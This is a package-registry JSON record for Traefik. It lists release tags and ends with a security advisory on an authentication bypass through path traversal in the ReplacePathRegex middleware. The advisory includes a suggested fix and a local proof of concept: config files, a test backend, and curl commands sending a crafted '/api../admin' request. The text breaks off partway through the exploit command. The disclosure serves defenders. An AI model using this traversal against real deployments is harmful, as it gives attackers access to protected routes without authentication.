e4249c6592696166345c7e5a0b7a8a319","kind":"commit","published_at":"2015-11-19T18:42:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.290","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.290","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.290","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.290","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.290/manifests"},{"name":"v1.0.alpha.288","sha":"3f905ee7d07f520d71f1985b270abcdfe8d1175a","kind":"commit","published_at":"2015-11-17T15:28:59.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.288","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.288","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.288","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.288","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.288/manifests"},{"name":"v1.0.alpha.285","sha":"400655f212690cb4204bf36dee0ffca87c21bfb5","kind":"commit","published_at":"2015-11-13T08:35:14.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.285","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.285","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.285","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.285","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.285/manifests"},{"name":"v1.0.alpha.275","sha":"85bbd49798024ce97a421d483a5d9f9d0f352317","kind":"commit","published_at":"2015-11-08T19:05:01.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.275","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.275","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.275","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.275","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.275/manifests"},{"name":"v1.0.alpha.274","sha":"7607eb173b8ecda802f766bf7275b468a116e13e","kind":"commit","published_at":"2015-11-05T14:50:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.274","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.274","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.274","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.274","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.274/manifests"},{"name":"v1.0.alpha.273","sha":"7be566ef7cd754f42978ef92d9270d6236af913b","kind":"commit","published_at":"2015-11-04T08:12:41.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.273","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.273","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.273","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.273","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.273/manifests"},{"name":"v1.0.alpha.272","sha":"7be566ef7cd754f42978ef92d9270d6236af913b","kind":"commit","published_at":"2015-11-04T08:12:41.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.272","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.272","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.272","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.272","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.272/manifests"},{"name":"v1.0.alpha.271","sha":"5ee6981410252067b77282e7bc8669b24d16fde9","kind":"commit","published_at":"2015-11-02T21:47:45.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.271","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.271","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.271","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.271","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.271/manifests"},{"name":"v1.0.alpha.270","sha":"7766d0ddaa115620ec89442f26bcb2a13562a22f","kind":"commit","published_at":"2015-11-02T20:08:29.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.270","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.270","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.270","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.270","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.270/manifests"},{"name":"v1.0.alpha.269","sha":"6e1a0554c044f67e05aecd5a1e5c54711b0a7e99","kind":"commit","published_at":"2015-11-02T15:36:20.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.269","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.269","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.269","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.269","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.269/manifests"},{"name":"v1.0.alpha.268","sha":"6e1a0554c044f67e05aecd5a1e5c54711b0a7e99","kind":"commit","published_at":"2015-11-02T15:36:20.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.268","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.268","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.268","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.268","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.268/manifests"},{"name":"v1.0.alpha.267","sha":"ddceefa4e1180b8145f3005f30a0df9bfe185008","kind":"commit","published_at":"2015-11-02T09:29:34.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.267","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.267","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.267","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.267","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.267/manifests"},{"name":"v1.0.alpha.266","sha":"9cfd0a6b262ee8b8baa2553d020d93df4ae1efca","kind":"commit","published_at":"2015-11-02T08:07:14.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.266","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.266","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.266","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.266","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.266/manifests"},{"name":"v1.0.alpha.263","sha":"aae794168968d99cb6a6fb20850ee43b7b36cab9","kind":"commit","published_at":"2015-11-01T21:27:28.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.263","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.263","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.263","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.263","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.263/manifests"},{"name":"v1.0.alpha.257","sha":"b029e7eded5f1d872fb290bf8895f3b55e172e1a","kind":"commit","published_at":"2015-10-30T12:15:34.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.257","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.257","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.257","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.257","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.257/manifests"},{"name":"v1.0.alpha.256","sha":"b4c019afb62dd17d74eedaf63d460304d93aa927","kind":"commit","published_at":"2015-10-30T11:03:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.256","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.256","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.256","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.256","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.256/manifests"},{"name":"v1.0.alpha.252","sha":"287d5c59da2c15f8ff16b27abb5493e24626743f","kind":"commit","published_at":"2015-10-29T21:56:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.252","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.252","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.252","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.252","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.252/manifests"},{"name":"v1.0.alpha.251","sha":"287d5c59da2c15f8ff16b27abb5493e24626743f","kind":"commit","published_at":"2015-10-29T21:56:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.251","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.251","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.251","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.251","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.251/manifests"},{"name":"v1.0.alpha.250","sha":"0a6be92290ab3ee0cb006b49c5a944f640f88f5d","kind":"commit","published_at":"2015-10-29T21:37:47.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.250","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.250","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.250","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.250","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.250/manifests"},{"name":"v1.0.alpha.249","sha":"b12c4ac55a38fcfada3513fd7c774b3097f02321","kind":"commit","published_at":"2015-10-29T20:39:48.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.249","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.249","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.249","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.249","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.249/manifests"},{"name":"v1.0.alpha.247","sha":"b59c54d5605b84a037f3cd63575ca615c6d1a6d3","kind":"commit","published_at":"2015-10-29T13:56:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.247","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.247","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.247","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.247","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.247/manifests"},{"name":"v1.0.alpha.228","sha":"539fd5bafc063e8e0d784afc423ce8db2d12599e","kind":"commit","published_at":"2015-10-23T08:56:57.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.228","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.228/manifests"},{"name":"v1.0.alpha.217","sha":"9a8d30a0b87398006c96e9eebbfdf9aa3eba1f0a","kind":"commit","published_at":"2015-10-18T21:29:37.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.217","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.217","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.217","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.217","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.217/manifests"},{"name":"v1.0.alpha.216","sha":"86f95924a92d74c9360c94e8da6e0d483d376c57","kind":"commit","published_at":"2015-10-17T12:26:25.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.216","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.216","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.216","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.216","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.216/manifests"},{"name":"v1.0.alpha.215","sha":"fd234c683c6a76b86193b3695829a15b827932f2","kind":"commit","published_at":"2015-10-15T09:38:27.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.215","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.215","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.215","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.215","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.215/manifests"},{"name":"v1.0.alpha.212","sha":"c452fd2195eae39845340921bf181c703356777b","kind":"commit","published_at":"2015-10-14T21:13:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.212","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.212","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.212","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.212","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.212/manifests"},{"name":"v1.0.alpha.200","sha":"37438a6395324e9452f8f6f173f60ba33ce4bafe","kind":"commit","published_at":"2015-10-13T21:38:27.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.200","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.200","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.200","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.200","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.200/manifests"},{"name":"v1.0.alpha.186","sha":"31c7aba8c46a442cff54c1b713fcaaa3046077cc","kind":"commit","published_at":"2015-10-12T13:43:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.186","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.186","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.186","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.186","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.186/manifests"},{"name":"v1.0.alpha.182","sha":"661ac977d3d6e5e0714adf1aef994f762a112449","kind":"commit","published_at":"2015-10-10T12:52:50.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.182","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.182","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.182","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.182","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.182/manifests"},{"name":"v1.0.alpha.178","sha":"adca5dc55bf2df932704994ebc1f979a29775a3a","kind":"commit","published_at":"2015-10-09T21:40:31.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.178","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.178","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.178","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.178","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.178/manifests"},{"name":"v1.0.alpha.176","sha":"fb7457eba00d8eef5b77d9b9decb1eda8bc5ee61","kind":"commit","published_at":"2015-10-09T12:13:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.176","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.176","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.176","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.176","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.176/manifests"},{"name":"v1.0.alpha.171","sha":"74c5562c2b3447c3236c69c744cd268b15e0a92f","kind":"commit","published_at":"2015-10-08T20:55:41.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.171","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.171","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.171","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.171","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.171/manifests"},{"name":"v1.0.alpha.170","sha":"398dfbd8a5d0d8d05fac58d877420a8a24a730b0","kind":"commit","published_at":"2015-10-08T20:30:56.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.170","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.170","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.170","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.170","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.170/manifests"},{"name":"v1.0.alpha.164","sha":"f89b727ad12fa628bc2affa10f910ce2071c9240","kind":"commit","published_at":"2015-10-08T19:55:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.164","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.164","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.164","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.164","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.164/manifests"},{"name":"v1.0.alpha.157","sha":"9d168c4e158eeef0c2fc20afe950ed0eb25ae931","kind":"commit","published_at":"2015-10-08T18:08:28.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.157","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.157","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.157","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.157","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.157/manifests"},{"name":"v1.0","sha":"42a23171ae39a5df9f884617ae3c9fabde341f2d","kind":"commit","published_at":"2015-09-22T21:29:45.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-16T19:58:11.486Z","dependent_packages_count":4,"downloads":null,"downloads_period":null,"dependent_repos_count":2,"rankings":{"downloads":null,"dependent_repos_count":3.4795809262391884,"dependent_packages_count":2.8420277799388387,"stargazers_count":0.025013902148803814,"forks_count":0.060292473306877724,"docker_downloads_count":0.695107440190863,"average":1.4204045043649143},"purl":"pkg:golang/github.com/traefik/traefik","advisories":[{"uuid":"GSA_kwCzR0hTQS1jeGpxLW1ycjUtODlyds4ABhno","url":"https://github.com/advisories/GHSA-cxjq-mrr5-89rv","title":"Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware","description":"## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin`\n5. No normalization check exists → path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.6\n    command:\n      - \"--api.insecure=true\"\n      - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n      - \"--entrypoints.web.address=:80\"\n    ports:\n      - \"8080:8080\"\n      - \"80:80\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    healthcheck:\n      test: [\"CMD\", \"traefik\", \"healthcheck\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n  backend:\n    image: node:22-alpine\n    working_dir: /app\n    volumes:\n      - ./server.js:/app/server.js:ro\n    command: [\"node\", \"server.js\"]\n    healthcheck:\n      test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \"PathPrefix(`/api`)\"\n      entryPoints: [web]\n      middlewares: [rewrite-api]\n      service: backend-svc\n      priority: 1\n    protected-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [web]\n      middlewares: [auth]\n      service: backend-svc\n      priority: 2\n  middlewares:\n    rewrite-api:\n      replacePathRegex:\n        regex: \"^/api(.*)\"\n        replacement: \"/$1\"\n    auth:\n      basicAuth:\n        users:\n          - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n  services:\n    backend-svc:\n      loadBalancer:\n        servers:\n          - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require('http');\nconst path = require('path');\nconst server = http.createServer((req, res) =\u003e {\n  const normalized = path.posix.normalize(req.url.split('?')[0]);\n  res.setHeader('Content-Type', 'text/plain');\n  if (normalized === '/health') { res.writeHead(200); res.end('OK\\n'); }\n  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {\n    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# → 401\n\n# Auth bypass:\ncurl -s 